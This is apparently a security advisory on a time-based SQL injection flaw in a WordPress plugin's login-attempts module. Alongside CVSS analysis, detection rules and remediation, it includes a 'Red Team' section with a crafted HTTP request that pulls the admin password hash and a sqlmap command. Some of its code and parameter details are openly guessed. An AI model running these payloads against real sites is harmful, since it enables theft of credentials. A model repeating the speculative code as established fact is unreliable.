CVE-2024-13184

Executive Summary

CVE-2024-13184 is a critical time-based SQL Injection vulnerability discovered in the WordPress plugin The Ultimate WordPress Toolkit – WP Extended (versions up to and including 3.0.12). The flaw resides in the Login Attempts module, where an unauthenticated attacker can inject arbitrary SQL queries into an existing query due to insufficient input escaping and lack of prepared statements. This allows extraction of sensitive information from the database, such as user credentials and hashed passwords. The vulnerability has a CVSS score of 7.5 (High) and currently has no known public exploit or patch. As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the affected plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The combination of unauthenticated remote exploitation and high confidentiality impact makes this a serious threat for WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability exists in the wp-extended plugin's Login Attempts module, which logs failed login attempts. The module accepts a user-supplied parameter (likely username or ip) without proper sanitization. This parameter is then concatenated directly into an SQL query without using prepared statements or parameterized queries.

Vulnerable Code Flow:

1. An HTTP request is made to the login endpoint with a crafted parameter.
2. The plugin's Login Attempts module captures the parameter (e.g., username).
3. The parameter is inserted into an SQL query like: SELECT * FROM wp_wpe_login_attempts WHERE user_login = '$username'
4. An attacker can inject a time-based payload, e.g., admin' AND SLEEP(5)-- -, causing the database to delay its response.
5. By observing response times, the attacker can infer the truth of conditions and extract data character by character.

Why Time-Based? The vulnerability is time-based because the attacker uses SLEEP() or BENCHMARK() functions to cause delays, allowing blind data extraction without error messages.

Vulnerable vs. Patched Code

Vulnerable Code (wp-extended <= 3.0.12):

// In login-attempts.php
$username = $_POST['username'];
$query = "SELECT * FROM {$wpdb->prefix}wpe_login_attempts WHERE user_login = '$username'";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

// In login-attempts.php
$username = sanitize_text_field($_POST['username']);
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}wpe_login_attempts WHERE user_login = %s", $username);
$results = $wpdb->get_results($query);

The patched version uses sanitize_text_field() for basic sanitization and $wpdb->prepare() for parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Extended plugin <= 3.0.12 installed and active.
• Network access to the site's login page.

Exploitation Steps:

1. Identify the vulnerable parameter (likely username or ip in the login request).
2. Use a tool like sqlmap or manual injection to extract data.

Manual Payload Example:

POST /wp-login.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

log=admin' AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users WHERE user_login='admin')-- -&pwd=anything

Automated with sqlmap:

sqlmap -u "http://target.com/wp-login.php" --data="log=admin&pwd=test" --time-sec=5 --dbms=mysql --technique=T --batch

Expected Outcome: The attacker can extract the admin password hash by observing response delays.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual login attempts with SQL-like patterns in the log parameter.
• Look for requests causing abnormal response times (e.g., >5 seconds).
• Use WAF rules to block SQL injection patterns.

Defense:

• Immediately disable the WP Extended plugin if no patch is available.
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Use a security plugin like Wordfence to monitor for malicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-login.php with log parameter containing SQL keywords (e.g., SLEEP, BENCHMARK, UNION).
  • Unusually long response times (e.g., >5 seconds) for login attempts.
  • Repeated login attempts from the same IP with varying payloads.

• File IOCs:

  • Modified wp-content/plugins/wp-extended/modules/login-attempts.php file (if attacker gains write access).
  • Suspicious entries in wp_wpe_login_attempts table.

• Log IOCs:

  • PHP error logs showing SQL syntax errors.
  • Web server access logs with log parameter containing ' or --.

Detection Engineering

YARA Rule

rule CVE_2024_13184_WP_Extended_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting WP Extended plugin Login Attempts module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13184"
    strings:
        $sqli1 = /log=[^&]*'(\s*AND|\s*OR|\s*UNION|\s*SELECT|\s*SLEEP|\s*BENCHMARK)/i
        $sqli2 = /log=[^&]*--\s*-/i
        $sqli3 = /log=[^&]*%27(\s*AND|\s*OR|\s*UNION|\s*SELECT|\s*SLEEP|\s*BENCHMARK)/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-13184 WP Extended SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against WP Extended plugin Login Attempts module
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13184
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-login.php'
        cs-uri-query|contains: 
            - 'log='
    keywords:
        - 'SLEEP'
        - 'BENCHMARK'
        - ' UNION '
        - '-- -'
        - "' OR '"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in usernames (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-13184 WP Extended SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-login.php"; http_uri; content:"log="; http_client_body; pcre:"/log=[^&]*(SLEEP|BENCHMARK|UNION|--\s*-)/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – If no patch is available, deactivate and delete the WP Extended plugin.
2. Update – Monitor the plugin's official page for a patched version (>3.0.12) and apply it immediately.
3. WAF Rules – Deploy custom WAF rules to block SQL injection patterns targeting /wp-login.php.

Long-term Measures:

• Implement a WordPress security plugin (e.g., Wordfence, Sucuri) for continuous monitoring.
• Regularly audit all installed plugins for vulnerabilities.
• Use a Web Application Firewall (WAF) with virtual patching capabilities.
• Enforce strong password policies and enable two-factor authentication.

Patch Status: UNKNOWN – No official patch has been released as of this report. Users are advised to disable the plugin until a fix is available.

Valters IT